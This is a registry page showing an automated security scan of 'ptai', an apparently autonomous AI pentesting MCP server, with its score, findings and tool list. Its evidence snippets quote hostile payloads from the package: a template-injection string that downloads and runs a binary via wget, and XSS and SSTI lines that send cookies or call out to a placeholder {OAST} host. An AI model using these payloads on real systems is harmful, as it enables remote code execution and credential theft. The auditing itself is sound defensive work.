Ptai MCP Server
ptai
PyPI
v1.4.0
Published by 0xsteph — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.
Autonomous AI pentesting with 200+ tools, exploit chaining, PoC validation, and credential-safe MCP server
The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.
1. Threat score — 100 − 6.3 = 94. What the published surface and source actually contain:
| Points | What was found | Category |
|---|---|---|
| −6.3 | Unsafe deserialization MTC-SRC-007 | permissions |
2. Client adoption risk — 94 − 7 = 87. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:
| Points | Adoption-risk factor |
|---|---|
| −6 | capability blast radius (high) — client exposure if the model is manipulated |
| −1 | publisher verification (public source) — no provenance, but the source is public and inspectable |
Capability observations and info notes are shown under Findings but never scored.
Open any row's finding below for the file, line and evidence behind a deduction.
Findings 12
high Shell/command execution in server code (agents/web/spa_probes.py)MTC-SRC-002
In the server's implementation (`agents/web/spa_probes.py:2545`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ess.mainModule.require('child_process').exec('wget -qO /tmp/ptai-m {safe} && chmod +x /tmp/ptai-m && /tmp/ptai-m')}}"
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server agents/web/spa_probes.py
high Shell/command execution in server code (cli/credential_resolvers/op.py)MTC-SRC-002
In the server's implementation (`cli/credential_resolvers/op.py:39`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: try: proc = subprocess.run( ["op", "read", "--no-newline", ref], capture_out
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server cli/credential_resolvers/op.py
high Shell/command execution in server code (cli/menu.py)MTC-SRC-002
In the server's implementation (`cli/menu.py:391`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: port subprocess subprocess.run([candidate, "--quiet"], check=False) print() return print()
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server cli/menu.py
high Shell/command execution in server code (engine/oob/payloads.py)MTC-SRC-002
In the server's implementation (`engine/oob/payloads.py:158`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: lf.__init__.__globals__.os.system('nslookup {OAST}') }}", ) _SSTI_TWIG: tuple[str, ...] = ( "{{['curl http://{OAST}/
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server engine/oob/payloads.py
high Shell/command execution in server code (engine/probes/web/deserialization.py)MTC-SRC-002
In the server's implementation (`engine/probes/web/deserialization.py:65`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: "process.exit", "child_process", "_$$ND_FUNC$$_", "Infinite loop detected", ) _DOS_BODY_MARKERS: tuple[st
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server engine/probes/web/deserialization.py
high Shell/command execution in server code (engine/probes/web/nextjs_rsc_rce.py)MTC-SRC-002
In the server's implementation (`engine/probes/web/nextjs_rsc_rce.py:38`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: gn-looking trigger. No `child_process`, no fs writes, no network egress. """ from __future__ import annotations import
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server engine/probes/web/nextjs_rsc_rce.py
high Shell/command execution in server code (engine/probes/web/prototype_pollution.py)MTC-SRC-002
In the server's implementation (`engine/probes/web/prototype_pollution.py:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: o RCE (template gadget, child_process gadget, etc). It only confirms the sink. Tagged business_logic; the next step (RCE
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server engine/probes/web/prototype_pollution.py
high Shell/command execution in server code (engine/tool_installer.py)MTC-SRC-002
In the server's implementation (`engine/tool_installer.py:537`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ). result = subprocess.run( ["sudo", "-S"] + list(tool.install_cmd), input=s
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server engine/tool_installer.py
high Shell/command execution in server code (mcp_server/server.py)MTC-SRC-002
In the server's implementation (`mcp_server/server.py:340`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ls are launched without shell=True, but defense-in-depth + clearer errors are worth a few extra lines. """ i
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server mcp_server/server.py
medium Hardcoded egress to an external endpoint (engine/oob/payloads.py)MTC-SRC-003
In the server's implementation (`engine/oob/payloads.py:138`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: "<img src=x onerror=\"fetch('http://{OAST}/?c='+document.cookie)\">", "<script src=\"http://{OAST}/j\"></script>",
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server engine/oob/payloads.py
medium Unsafe deserialization (engine/probes/web/__init__.py)MTC-SRC-007
In the server's implementation (`engine/probes/web/__init__.py:19`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: # noqa: F401 - Node.js node-serialize + js-yaml RCE/DoS dom_xss, # noqa: F401 - Playwright-driven DOM XSS detecti
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server engine/probes/web/__init__.py
low Shell/command execution in packaging/dev tooling (tests/test_ci_result_guard.py)MTC-SRC-002
In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_ci_result_guard.py:27`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: rocess[str]: return subprocess.run( [sys.executable, str(SCRIPT), str(xml_path)], capture_output=Tru
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_ci_result_guard.py
Tools 52
Each tool and what it can reach — statically extracted from the published source.
http_requestnetwork egressauthenticated_scanno sensitive capabilitybrowser_inspectno sensitive capabilitybuiltin_scanno sensitive capabilityclose_engagementno sensitive capabilitydiscover_attack_chainsno sensitive capabilityensure_tools_installedno sensitive capabilitygenerate_detection_rulesno sensitive capabilitygenerate_reportno sensitive capabilityget_attack_chainsno sensitive capability
Show 42 more tools ↓
get_campaign_summaryno sensitive capabilityget_configno sensitive capabilityget_engagement_statusno sensitive capabilityget_engagement_summaryno sensitive capabilityget_evidenceno sensitive capabilityget_findingsno sensitive capabilityhealthno sensitive capabilitykill_processno sensitive capabilitylist_engagementsno sensitive capabilitylist_pluginsno sensitive capabilitylist_probesno sensitive capabilitylist_processesno sensitive capabilitylist_toolsno sensitive capabilityplan_toolsno sensitive capabilitypoll_oobno sensitive capabilityprove_attack_chainno sensitive capabilityquery_complianceno sensitive capabilityresume_engagementno sensitive capabilityrun_probeno sensitive capabilityrun_reconno sensitive capabilityrun_toolno sensitive capabilityscan_dns_builtinno sensitive capabilityscan_headers_builtinno sensitive capabilityscan_paths_builtinno sensitive capabilityscan_ports_builtinno sensitive capabilityscan_secrets_builtinno sensitive capabilityscan_ssl_builtinno sensitive capabilityselect_agentno sensitive capabilityset_intensityno sensitive capabilitystart_campaignno sensitive capabilitystart_engagementno sensitive capabilitytest_active_directoryno sensitive capabilitytest_api_securityno sensitive capabilitytest_cloudno sensitive capabilitytest_credentialsno sensitive capabilitytest_mobileno sensitive capabilitytest_privescno sensitive capabilitytest_social_engineeringno sensitive capabilitytest_vulnerabilitiesno sensitive capabilitytest_web_appno sensitive capabilitytest_wirelessno sensitive capabilityvalidate_findingno sensitive capability
What this scan could not see
- Tools were statically extracted from the published source (52 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command "npx -y <package>".
Versions 5
Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.
| Version | Score | Findings | Engine | Scanned |
|---|---|---|---|---|
v1.4.0 latest |
B 87/100 | 12 | 1.13.0 | 2026-09-04 |
v1.3.1 |
B 87/100 | 12 | 1.13.0 | 2026-08-25 |
v1.2.1 |
B 87/100 | 12 | 1.12.1 | 2026-08-09 |
v1.2.0 |
B 87/100 | 12 | 1.12.1 | 2026-08-06 |
v1.1.0 |
B 87/100 | 12 | 1.12.1 | 2026-07-27 |
Embed this score
Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.
Verify this score yourself
The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.
npx mcptrustchecker scan ptai --online --registry pypiMore in Developer Tools
Hotel booking MCP server — 300K+ properties, real confirmation numbers, loyalty programs. Builders monetize every booking via Stripe Connect. The first MCP server that completes real hotel reservations inside AI conversations.
Manage AdGuard Home through AI assistants
Read-only Azure DevOps for MCP clients using only your existing browser session — no PAT, no Azure CLI. Browse work items, pull requests, comments, attachments and Artifacts feeds across every project, repo and feed you can access.
MCP server for Adobe Experience Manager Assets integration development
Servidor MCP para el tiempo oficial de España (API pública OpenData de AEMET). Predicción, observación y avisos como herramientas MCP tipadas.
A standalone MCP stdio bridge for Affinity by Canva's local MCP SSE server.